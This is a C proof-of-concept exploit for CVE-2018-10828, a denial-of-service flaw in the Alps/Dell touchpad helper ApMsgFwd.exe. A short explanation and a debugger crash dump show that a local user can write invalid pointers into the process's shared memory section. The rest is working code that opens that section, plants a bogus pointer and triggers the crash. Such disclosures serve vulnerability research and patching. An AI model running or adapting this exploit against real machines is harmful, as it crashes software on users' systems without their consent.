/* Title: Dell Touchpad - ApMsgFwd.exe Denial Of Service Author: Souhail Hammou Vendor Homepage: https://www.alps.com/ Tested on : Alps Pointing-device Driver 10.1.101.207 CVE: CVE-2018-10828 */ #include <stdio.h> #include <stdlib.h> #include <windows.h> /* Details: ========== ApMsgFwd.exe belonging to Dell Touchpad, ALPS Touchpad driver, ALPS pointing-device for VAIO, Thinkpad Ultranav Driver ..etc allows the current user to map and write to the "ApMsgFwd File Mapping Object" section. ApMsgFwd.exe uses the data written to the section as arguments to functions. This causes a denial of service condition when invalid pointers are written to the mapped section. The crash : =========== (b88.aa0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. KERNELBASE!MultiByteToWideChar+0x3d8: 00007ffc`06422e08 443830 cmp byte ptr [rax],r14b ds:d05d05d0`5d05d05d=?? 0:004> r rax=d05d05d05d05d05d rbx=00000000000004e4 rcx=000000007fffffff rdx=0000000000000000 rsi=00000000ffffffff rdi=d05d05d05d05d05d rip=00007ffc06422e08 rsp=000000000272fae0 rbp=000000000272fb59 r8=0000000000000000 r9=00000000ffffffff r10=0000000000000000 r11=000000000272fbc0 r12=00000000000001f4 r13=0000000000000000 r14=0000000000000000 r15=0000000000563e40 iopl=0 nv up ei pl zr na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 KERNELBASE!MultiByteToWideChar+0x3d8: 00007ffc`06422e08 443830 cmp byte ptr [rax],r14b ds:d05d05d0`5d05d05d=?? 0:001> lm v m ApMsgFwd Browse full module list start end module name 00000000`00400000 00000000`00415000 ApMsgFwd (no symbols) Loaded symbol image file: C:\Program Files\DellTPad\ApMsgFwd.exe Image path: C:\Program Files\DellTPad\ApMsgFwd.exe Image name: ApMsgFwd.exe Browse all global symbols functions data Timestamp: Tue Jul 1 09:03:05 2014 (53B27949) CheckSum: 00020F5D ImageSize: 00015000 File version: 8.1.0.44 Product version: 8.1.0.44 File flags: 0 (Mask 3F) File OS: 40004 NT Win32 File type: 1.0 App File date: 00000000.00000000 Translations: 0411.04b0 CompanyName: Alps Electric Co., Ltd. ProductName: ApMsgFwd InternalName: ApMsgFwd OriginalFilename: ApMsgFwd.exe ProductVersion: 8, 1, 0, 44 FileVersion: 8, 1, 0, 44 PrivateBuild: 8, 1, 0, 44 SpecialBuild: 8, 1, 0, 44 FileDescription: ApMsgFwd LegalCopyright: Copyright (C) 2006-2014 Alps Electric Co., Ltd. LegalTrademarks: Copyright (C) 2006-2014 Alps Electric Co., Ltd. Comments: Copyright (C) 2006-2014 Alps Electric Co., Ltd. */ int main(int argc, char** argv) { HANDLE ApMpHnd,StartEvtHnd,KeyHnd; PBYTE MappedBuf; if ( ! (ApMpHnd = OpenFileMappingA(FILE_MAP_WRITE,FALSE,"ApMsgFwd File Mapping Object") ) ) { printf("OpenFileMapping Failed !\n"); goto ret; } if ( ! ( MappedBuf = MapViewOfFile(ApMpHnd,FILE_MAP_WRITE,0,0,0x1A0) ) ) { printf("MapViewOfFile Failed !\n"); goto cleanup_0; } StartEvtHnd = OpenEventA(EVENT_MODIFY_STATE,FALSE,"ApMsgFwd Event Start"); if ( ! StartEvtHnd ) { printf("OpenEvent Failed !\n"); goto cleanup_1; } ZeroMemory(MappedBuf,0x1A0); *MappedBuf = 9; //switch case 9 *(DWORD*)(MappedBuf + 0x60) = 0x5D05D05D; *(DWORD*)(MappedBuf + 0x64) = 0xD05D05D0; /*Wake up the waiting thread*/ SetEvent(StartEvtHnd); CloseHandle(StartEvtHnd); cleanup_1: UnmapViewOfFile(MappedBuf); cleanup_0: CloseHandle(ApMpHnd); ret: return 0; }